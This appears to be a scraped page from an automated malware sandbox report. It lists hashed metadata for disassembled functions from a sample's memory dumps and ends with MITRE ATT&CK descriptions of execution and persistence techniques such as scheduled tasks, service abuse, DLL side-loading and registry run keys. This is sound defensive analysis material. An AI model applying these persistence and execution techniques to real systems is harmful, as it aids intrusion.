Opcode Fuzzy Hash: 6553f61f53c264ef15351b5dc57c96c8cb57c63d9e89183b20dad4e419b64671
Instruction Fuzzy Hash: 23517074E01209CFCB08DFA9D58499DBBB6FF8D315B209069E819AB364DB35AD42CF50

Function 01A1A303 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde4fefe05392ac6df7a7f26cd74f67862c96b608b07a65960bdbf8b6a46daa3
Instruction ID: a9ca7f08f3e1d0c50b51240993fff60c53e7c684c5594bbc13382a90cf775e00
Opcode Fuzzy Hash: bde4fefe05392ac6df7a7f26cd74f67862c96b608b07a65960bdbf8b6a46daa3
Instruction Fuzzy Hash: 2241E835A05289DFCF16CFA8C844B9DBFB2FF49350F048455E949AB25AD370E954CB60

Function 01A16FC8 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06bb8e442fe5a3a9a0f69980c9cca2d35e81d2d64f3d983ac748d45b922b94c7
Instruction ID: 85d20b31b778c8eed1ec3174f39be590c970a503252f128bfad5801fdd55de01
Opcode Fuzzy Hash: 06bb8e442fe5a3a9a0f69980c9cca2d35e81d2d64f3d983ac748d45b922b94c7
Instruction Fuzzy Hash: 0E41DD35A04348DFCB15CFA8C804B6ABBB6FB48310F04946AE8199B256DB79DD45CFA1

Function 01A15658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e5bdf5f2771db50c59f2f1c9125b73c484e5e94f54e5ab6623af96061c2d8aa
Instruction ID: fcab2adac006eb541b2634e32a9643ca9703a74cde99505db3e35618c9af765e
Opcode Fuzzy Hash: 7e5bdf5f2771db50c59f2f1c9125b73c484e5e94f54e5ab6623af96061c2d8aa
Instruction Fuzzy Hash: 51316F31A04119DFDF05AF64E954AAE7BA6FB8D300F048419F91597298CB39DD61CBA0

Function 01A18380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee464d6bd71b815c489ea43c47c1f79b50085ca2f6cec154bef107a06cc53f61
Instruction ID: 5835ce04280223e3dd548adf9c42034790ab235ca05e9d877ba6ac15d5e1ccb4
Opcode Fuzzy Hash: ee464d6bd71b815c489ea43c47c1f79b50085ca2f6cec154bef107a06cc53f61
Instruction Fuzzy Hash: 9021B0313802014BEB19972AC45467E7697AFC8B48F18803DD546CB79EEE6DCC82D391

Function 01A18370 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72c2201ced031092f1e3d564b87da29df7e03a99006cec8ce59779f187735d87
Instruction ID: 700ea7141a8b9a699bafa9f48a7caa64354c9ae5ae9e8fce6f1bdcfc9261779c
Opcode Fuzzy Hash: 72c2201ced031092f1e3d564b87da29df7e03a99006cec8ce59779f187735d87
Instruction Fuzzy Hash: AF21D7313402154BDB199B2AC85867E76A7AFC8A58B18803DD946CB35FEF2DCC42D792

Function 01A1AEF0 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8d58f01b25d1137fd3dcec1668760ee02350091b1b761ca0f4c53629c3f9ac5
Instruction ID: 3b4553123f5b31b9266e41329bcfcd6e65a9d485d473b4b12c6bd15af254cc11
Opcode Fuzzy Hash: b8d58f01b25d1137fd3dcec1668760ee02350091b1b761ca0f4c53629c3f9ac5
Instruction Fuzzy Hash: FD21C9727052549FDB149F58EC44A9EBBB6FB8C710F14802AF916D7298DB71DC50CBA0

Function 01A162F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a6785884c23a95196ce0dbb0942397a24d8e74d10800e55f571b5c5cf3b65dc
Instruction ID: c3d1c85c41b9e834b757bd1fd89cbf3b9d445f5ebf15eee109668616dc60444c
Opcode Fuzzy Hash: 9a6785884c23a95196ce0dbb0942397a24d8e74d10800e55f571b5c5cf3b65dc
Instruction Fuzzy Hash: 302101357046218FD7199B29D45893EBBA2EFCE751708806EE90ADB398CF74DC02CB90

Function 01A128F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7a2302e5dd51becbdea9ddec6f4bce32edc5d09b1e55d5192aea71bad2adb72
Instruction ID: 015d1bfc23f000c9bea0b38f904c3b02d428f6cef1bf7929993061b0833e28ac
Opcode Fuzzy Hash: e7a2302e5dd51becbdea9ddec6f4bce32edc5d09b1e55d5192aea71bad2adb72
Instruction Fuzzy Hash: EE216275A001159FCB15DF28C440AAE77A9EB9D6A4B20C05AD84EDB344DA39EA43CBD2

Function 01A1F3FF Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f808f9f68e6c6345ae54e6ab226e1f57e07beb65ae4155aeff0ac59127aceea
Instruction ID: 9d77bba1f3a91df5595fb993e0c5978342a46c7cd3a72cf6ca6bd75ae1966f84
Opcode Fuzzy Hash: 5f808f9f68e6c6345ae54e6ab226e1f57e07beb65ae4155aeff0ac59127aceea
Instruction Fuzzy Hash: EA312530D022199FEF14DFA5D4447EDBBB2BF89305F14842AD415BB244DB78164ACF51

Function 0173D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2940863094.000000000173D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0173D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_173d000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dbc56b351f90afc264341ca0c73b1b1fd0aeae2d66ae8393da759268f08185c
Instruction ID: 2cf42536b58fa2e2c0157fa6e2c99319b9b6bde2bc7b1179026e1caee370fc3b
Opcode Fuzzy Hash: 6dbc56b351f90afc264341ca0c73b1b1fd0aeae2d66ae8393da759268f08185c
Instruction Fuzzy Hash: 5F2134B1504204DFCB21DF68C9C4B26FBA5FBC4714F60C5ADE8494B253C73AD446CA61

Function 01A15649 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91fa97d001895f00d6011d83341470bb8f7d7c4bc89d2af7b76622f59a0c57b9
Instruction ID: 9022eb87c94ebf72a2d59ff939a80814a0bbe4b807e19a2d5bdf238de6cc2294
Opcode Fuzzy Hash: 91fa97d001895f00d6011d83341470bb8f7d7c4bc89d2af7b76622f59a0c57b9
Instruction Fuzzy Hash: E921D131A091198FDB05AF68E448BAE7BA6EB9D310F084469E8159B249CB388D51CFA0

Function 01A19761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a0f582af28b7ef8a63d15aae84cb0a5c05a13f0cec2a6efd280bd72ff549df2
Instruction ID: 3fb9891245c0a03ff7a026d3775df907429f94936ac4f7337edbc83ff2336083
Opcode Fuzzy Hash: 5a0f582af28b7ef8a63d15aae84cb0a5c05a13f0cec2a6efd280bd72ff549df2
Instruction Fuzzy Hash: 33215C30E00249DFDB05CFA5D554AEEBFBAEF49305F288069E455E6294DB34D941CB60

Function 01A127BD Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64b51ba95d620be629c6bae0c3146e3bea2568d909d7d2b4d48f7bd1cb21a0eb
Instruction ID: ed11455484288cc0b540ebc7506f6d4c416ff7db0b172d659b39f6565c53e168
Opcode Fuzzy Hash: 64b51ba95d620be629c6bae0c3146e3bea2568d909d7d2b4d48f7bd1cb21a0eb
Instruction Fuzzy Hash: 2D211274D0420A8FCB01EFA8D5446EEBBF5FF4A304F1051AAD809B7218EB305A84CBA1

Function 01A16300 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e055f96c474665a9482ddd2c80bf53dba41616df60e9aecb8731e15401871829
Instruction ID: 63e58dedcdd4a177898543d2de9952b3632d339c3efb70132629d8181a71ddbb
Opcode Fuzzy Hash: e055f96c474665a9482ddd2c80bf53dba41616df60e9aecb8731e15401871829
Instruction Fuzzy Hash: 8E1104353056119FD7199B2AD45893EBBA6FFC97A1308407DE90ACB368CF71DC028BA0

Function 01A1F313 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec2b104929163411b26975f823cf77fd3384ad8d83c5774a3b4dcf4a9c035f86
Instruction ID: 02170c248b1321907b1bfac23a0bbe289d7dc38bca932a259237ab53825d57c2
Opcode Fuzzy Hash: ec2b104929163411b26975f823cf77fd3384ad8d83c5774a3b4dcf4a9c035f86
Instruction Fuzzy Hash: D3210D70D40209DFDB44EFA8D58079EBFF6FB49301F10D5A9D0199B368EB749A498B81

Function 01A1F320 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2dae40347ec0f136cb1750d1596b07cde01f64943c45761ee3cc0e5ffa0dd21
Instruction ID: 8016c282dc53c12390633e7e7ae8861b32a0a6ebe94403caa9f5550a71e5f1cb
Opcode Fuzzy Hash: a2dae40347ec0f136cb1750d1596b07cde01f64943c45761ee3cc0e5ffa0dd21
Instruction Fuzzy Hash: A6112E70D40109DFDB44DFA9D5806AEBFF6FB49300F10D5A9D019AB368EB749E498B81

Function 0173D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2940863094.000000000173D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0173D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_173d000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: b598ac1cd90ff511c7b3693840a2fa5ceb5f10afc6d505530186c45a8cd3e5ce
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 7211BB75504284CFDB22CF54C9C4B16FFA2FB84314F24C6AAD8494B253C33AD44ACB62

Function 01A127F0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c25d14bad56ef5b5658c2af15bcf7e8106910f1c5bfd727d378e40436aa3158b
Instruction ID: 52615a05c5cd6eb9a6bd638468c6e2de4aa961b41ccb9e49e13a91cd0474b3fa
Opcode Fuzzy Hash: c25d14bad56ef5b5658c2af15bcf7e8106910f1c5bfd727d378e40436aa3158b
Instruction Fuzzy Hash: 8A21CF74D0520A8FCB05EFA8D9446EEBBF4FB09311F10926AD819B2254EB345A85CBA1

Function 01A15E98 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2b0b127315593d6bc12764a3e2b16f7e6840ff2106fd0dfe4d76b32faed8d87
Instruction ID: 7f5c44446119aeb78bdc7b9769259937004ff47c2ca3ae6a1d3b626aae11c738
Opcode Fuzzy Hash: b2b0b127315593d6bc12764a3e2b16f7e6840ff2106fd0dfe4d76b32faed8d87
Instruction Fuzzy Hash: 71012832B041296BDB15DF95A8006AF7BA7EBCD650F04C02AF905D7288CB758D128BA0

Function 01A1ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9abbddb40846fc6c27792019ef3c806a647e7cdcb6647d026bb53c55eddc0cdf
Instruction ID: 3c71ed812affae826336cdf0ea431c37e6131dfd219700dd424c7242249f658e
Opcode Fuzzy Hash: 9abbddb40846fc6c27792019ef3c806a647e7cdcb6647d026bb53c55eddc0cdf
Instruction Fuzzy Hash: 36F02B313012504B97166B6ED854A3BBBEEEFCCA55709407AE90ACB369EF20CC038390

Function 01A1E8E8 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4da6c795eec8c57d60c9cba3f779cd07746624801af70c6a376aea410601c82
Instruction ID: 3f612fae75f6b829cbf74c60c3ec8d691b62b386107f31bb3c025f81bcb40cf2
Opcode Fuzzy Hash: f4da6c795eec8c57d60c9cba3f779cd07746624801af70c6a376aea410601c82
Instruction Fuzzy Hash: A6010C74D0020ADFDB41DFA8E945AAEFBB1FB48321F008169D914A3350D7385E56DF91

Function 01A1D831 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 285022f18fe7ee5cd05db2c82efb6c154d8b7b3a70528222e6bc7c0076da1bfc
Instruction ID: 011b87bcae9e88d49c549d52368a4523def19ff85cb77e087062e159b59c19b3
Opcode Fuzzy Hash: 285022f18fe7ee5cd05db2c82efb6c154d8b7b3a70528222e6bc7c0076da1bfc
Instruction Fuzzy Hash: C6F0F870D8031ADFD744EFA8C50A39EBEF0BB08310F50456AC409E7249DB7886458F90

Function 01A1D8E1 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 615fe5ca278a821a8d2754109616f45d200214847a40cf2ed7ff8ea30e2a37b9
Instruction ID: dcdf2757d1f954945e53cda4eb22eef1617c957d3c15bcc1e1547b7197a0741d
Opcode Fuzzy Hash: 615fe5ca278a821a8d2754109616f45d200214847a40cf2ed7ff8ea30e2a37b9
Instruction Fuzzy Hash: DDE04F353402214FE745A76CB9103996397EF89260F40442AD506DB28CDB288C468B94

Function 01A128A3 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c43e05fc9beed67d1b307b3d4cd2529bac84ef0ea0d0c02d0b7513bd66f05d5
Instruction ID: 3c2a98a873feb1e36e6120b06be23ba7dc542a71efa8b1f0273405c265a0165d
Opcode Fuzzy Hash: 3c43e05fc9beed67d1b307b3d4cd2529bac84ef0ea0d0c02d0b7513bd66f05d5
Instruction Fuzzy Hash: B4E02631D201265BCB10DFB0DC00AEEB731FFC1314F544625C45533140EB30215AC6A1

Function 01A1D840 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e545a7bfd8e687f44b35f52f085c60788c084f395caf5dc499166ceead8fe62
Instruction ID: 7969d3db9e294678a3d1801d38b6f73703f800d3d588182542f872a18c54edf8
Opcode Fuzzy Hash: 0e545a7bfd8e687f44b35f52f085c60788c084f395caf5dc499166ceead8fe62
Instruction Fuzzy Hash: 69E0C2B0D4020AEFCB44EFB885092AEBFF0BB08200F60496AC408E2248E77486408F91

Function 01A128B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a4a136dcf80799a94427b3651637745936cb13f55d4655469e22b34105d6db6
Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
Opcode Fuzzy Hash: 4a4a136dcf80799a94427b3651637745936cb13f55d4655469e22b34105d6db6
Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2

Function 01A18EF8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 5f66b4e7a054876e1466c62d4d77af7667454c81aa1c198baa81edb1d66fbbec
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: D0C08C3320C1282AA235104E7C40EA3BB8DC3C13B4B250137FB1CD7200AC4A9C8001F8

Function 01A1AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ea7d7a6db5f5a6970a7257a796f9b631174ef87061b918c88ea34a48c897be3
Instruction ID: 9d815793ec8d509457812cf4d243d18941df4ee3e81ee079cac0c9850c7e22ea
Opcode Fuzzy Hash: 9ea7d7a6db5f5a6970a7257a796f9b631174ef87061b918c88ea34a48c897be3
Instruction Fuzzy Hash: E3D0673AB40018DFCB049F99EC408DDF7B6FB9C221B148117E915A3265C6319965DB64

Function 01A16739 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87af20a752a1b589f36c57f9d1feab75ddb5c5b63d707274597bb23c6c03d90a
Instruction ID: eee1df89dde542d13a0112c11bdc469199d251feb7bb2d5ff9e228138e413315
Opcode Fuzzy Hash: 87af20a752a1b589f36c57f9d1feab75ddb5c5b63d707274597bb23c6c03d90a
Instruction Fuzzy Hash: 44D05E304447258FC244EB30F806664BA2AF788300F00E220D00509A5EDF7C4D9A4F50

Function 01A16748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d24e71b16970621d92471079a984a3fb58a4c510cd4b472988da6fb72b8c169
Instruction ID: 2ff810f02f9272f885003fff4f8a0d0c449a92b1429709882df5a4ee6d97e1b4
Opcode Fuzzy Hash: 2d24e71b16970621d92471079a984a3fb58a4c510cd4b472988da6fb72b8c169
Instruction Fuzzy Hash: 0FC012304843198EC505F765FD46565B72EF694300B54A62090050665EDFBC5C994A90

Non-executed Functions

Function 01A12A69 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

Xbq, xrefs: 01A12AD8
Xbq, xrefs: 01A12BA4
Xbq, xrefs: 01A12B57
Xbq, xrefs: 01A12A9E

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: 7536cff115b9bbe97e7ac1e741e882b27217ee5978fbd267fdd183a476bc5ab9
Instruction ID: a121b55ee598bb4fc4997348f55d79b7701d02938aa13643897dcc8f75eee47d
Opcode Fuzzy Hash: 7536cff115b9bbe97e7ac1e741e882b27217ee5978fbd267fdd183a476bc5ab9
Instruction Fuzzy Hash: D5317471E042194BDF65DF6DCA803AFBAB6BF44310F244476C515A7359DB70C981CB92

Function 01A16920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 01A16952
\;^q, xrefs: 01A1692C
\;^q, xrefs: 01A16936
\;^q, xrefs: 01A1695E

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: 41f10001c2289fda739804c36ade9c8c29ae613b10c4b224d054672950a330cd
Instruction ID: 3f3715aa2442f4f6025fa56742641a68e38fff16349e66cabef58f0b3ca9d3e5
Opcode Fuzzy Hash: 41f10001c2289fda739804c36ade9c8c29ae613b10c4b224d054672950a330cd
Instruction Fuzzy Hash: B401DF31B401148FCB248F2DC544AA537FBAF88A6072985AAE54ACF3B9DAB1DC418780

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
